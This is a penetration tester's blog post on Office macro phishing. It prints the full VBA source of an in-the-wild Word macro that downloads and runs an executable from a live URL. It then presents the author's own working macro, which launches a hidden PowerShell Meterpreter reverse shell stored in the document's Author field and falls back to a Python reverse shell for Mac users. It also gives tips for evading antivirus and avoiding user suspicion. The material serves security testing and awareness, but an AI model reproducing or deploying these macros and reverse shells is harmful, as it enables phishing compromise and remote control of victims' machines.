Over the past 6 months, it seems we’ve been experiencing a resurgence of macro-based malware, possibly because it’s such a simple and proven means of delivering a phishing payload to large organizations. If you’re performing a penetration test against an organization and you have reason to believe untrusted macro execution is enabled, they can also be a good means to test user awareness and gain a foothold via social engineering.
Regardless of their popularity, quite often these macro-based exploits fail for a number of reasons. If you’re the target, hopefully it’s because you’ve recognized that untrusted macros are dangerous and have taken the steps to prevent their execution in your environment. If not, you might be finding that reliance on network and desktop security products for protection can be a bit of a gamble.
Sometimes you get lucky and these exploits fail due to simple coding errors. Take for example the following heavily obfuscated example I came across recently:
In order for this obfuscated macro to work, the above variables are parsed and the values extracted using the InStr() function to generate the destination URL from which to download the malicious executable payload. In the portion of the macro highlighted below, the value used as parameter string2 is derived from the Chr() function. Unfortunately, the value passed to that function (joHNknVFXmrvEA) is incorrectly calculated, the resulting call to InStr() returns a null, and the macro exploit fails.
A little tweak to the code and we can see where the macro was intending to download the malicious payload from:
Of course relying on poorly written macros is not a good security control and if for some reason you allow untrusted macros to run, you are at the mercy of your other security protections. A while back, my coworker and I analyzed another macro-based Word exploit that we saw in the wild and the approach the author used was simple and pretty typical – download and run a malicious executable on the victim’s workstations, sans any real obfuscation.
Here’s an abridged view of the macro:
Sub Auto_Open() Call DownloadFile("33", "33.EXE") End Sub Sub AutoOpen() Call DownloadFile("33", "33.EXE") End Sub Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "temP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False) On Error Resume Next Err.Clear If 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 Then: Set ssssssssssssssssssssssss = CreateObject("Microsoft.XMLHTTP") ssssssssssssssssssssssss.Open "GET", "http://e-trebol.com/404/ss.exe", False '...junk... ssssssssssssssssssssssss.send '...junk... ssssssssssssssssssssssss.getAllResponseHeaders FullSavePath = Environ(SavePath) & "\" & SaveName If 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 Then: Set ffffffffffffffffffffffff = CreateObject("ADODB.Stream") ffffffffffffffffffffffff.Open '...junk... ffffffffffffffffffffffff.Type = 1 '...junk... ffffffffffffffffffffffff.Write ssssssssssssssssssssssss.responseBody '...junk... ffffffffffffffffffffffff.SaveToFile FullSavePath, 2 If Err Then DownloadFile = False Else If RunAfterDownload = True Then If RunHide = False Then: CreateObject("WScript.Shell").Run FullSavePath End If DownloadFile = True End If Application.DisplayAlerts = False Application.Quit End Function
It’s easy to see what’s happening in the above code…the macro attempts to download a file called 33.exe (containing some exploit code), save it to the user’s temp directory, and execute it.
While really basic in concept, phishing attempts like these can be effective if you allow untrusted macro execution (either via prompt or automatically). With this example, if macros were enabled, the code would execute and the Word document would immediately close. However, if the target didn’t have macros enabled, the Word document would remain open and provided detailed instructions (with screenshots) on how to enable macros as a last ditch effort to trick the recipient.
Aside from macros not being enabled (we will assume they are if you’re intentionally using a macro-based exploit), the problem with the above approach if you’re using them in a penetration test is that it can easily be detected for a couple of reasons.
First, although the document itself does not contain the executable payload, the macro signature is enough to trip most exchange-based AV (stripping the attachment before the target user receives the email). That was easy enough for us to fix in the above example…we simply broke up the macro code into smaller functions and moved some of the hard-coded string values to local variables.
Even after bypassing any Exchange-based AV and successfully delivering the attachment to the target, you still have to deal with AV detection for the downloaded executable. In many large organizations this means not only bypassing client-side AV once it’s downloaded, which is relatively easy (see here for more), but also firewall and web proxy AV, which could prevent the download altogether. Sure it can be done, but if you’re using a macro-based exploit in a penetration test, why try and tackle AV bypass if you don’t have to?
Instead I figured why not remove the executable entirely and harness the power of Powershell? For our demo we went with a simple Meterpreter reverse TCP shell, generated with the handy Unicorn tool (by Dave Kennedy at TrustedSec).
Rather than wrestle with VBS and it quirky string length limits, we can embed the Powershell script right into the Document properties of the Word file (in this case, the Author field) and just reference the value via a local function variable in our macro.
We don’t want the Powershell window to display for the end user at all, hence the -nologo, -win hidden, etc.
Now, it’s just a matter of updating the macro to run the powershell:
Dim ps As String ps = ActiveDocument.BuiltInDocumentProperties("Author").Value Dim Obj As Object Set Obj = CreateObject("WScript.Shell") Obj.Run ps, 0
Simple, right?
This works fine for Windows clients but we couldn’t forget about our Mac users so just for fun we decided to implement a simple python reverse shell for anyone running MS Word on a Mac.
Here’s the combined code:
Sub Auto_Open() Call winshell End Sub Sub AutoOpen() Call winshell End Sub Function winshell() As Object On Error GoTo ErrorHandler Err.Clear ' get / execute powershell command from doc property Dim ps As String ps = ActiveDocument.BuiltInDocumentProperties("Author").Value Dim Obj As Object Set Obj = CreateObject("WScript.Shell") Obj.Run ps, 0 ' winshell failed, try macshell ErrorHandler: macshell Application.DisplayAlerts = False End Function Function macshell() On Error Resume Next Err.Clear scriptToRun = "do shell script ""python -c 'import urllib2,socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\""192.168.1.1\"",4321)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\""/bin/sh\"",\""-i\""]);' &""" res = MacScript(scriptToRun) End Function
You can see that this is not at all a sophisticated piece of code and there is no effort to detect the recipient’s OS. Instead, we first attempt the Windows shell function and if that doesn’t work we revert to the Mac function. If the latter fails, the exploit simply fails quietly and the user is none-the-wiser.
You may also notice that unlike the first example where the author chose to close the document, we felt that that was too much of an indicator to the user that something was amiss so we made sure to allow the user to close it on their own (allowing you to add meaningful content and further legitimize the attachment). Since the shell is executed via a separate Powershell (or python) process, it is not dependent upon the Word document remaining open anyway.
Unlike the original version that has the added detection risk of downloading and running a malicious executable, this approach is self-contained and more likely to bypass AV detection. That said, it’s not without its flaws. First, if you truly want to target Mac users, you have to consider that you’re more likely to get a macro prompt which could tip off the intended target:
Second, using a standard Metasploit payload can still trigger other security protections such as client- or network-based IPS, so additional modification may be required depending on your target test environment. If you’re targeting users with Administrator privileges and you are familiar with the target test environment you might also include some macro instructions to disable the workstation AV client which we also tested with success.
This is by no means a perfect approach, but if you’re set on using an MS Office macro-based phishing exploit for your next penetration test, you might consider an embedded Powershell script as your initial payload delivery to avoid the hassles of AV bypass.
A special thanks to my colleague Andy (@Blackjack988) for helping me create and test this PoC.
Until next time,
Mike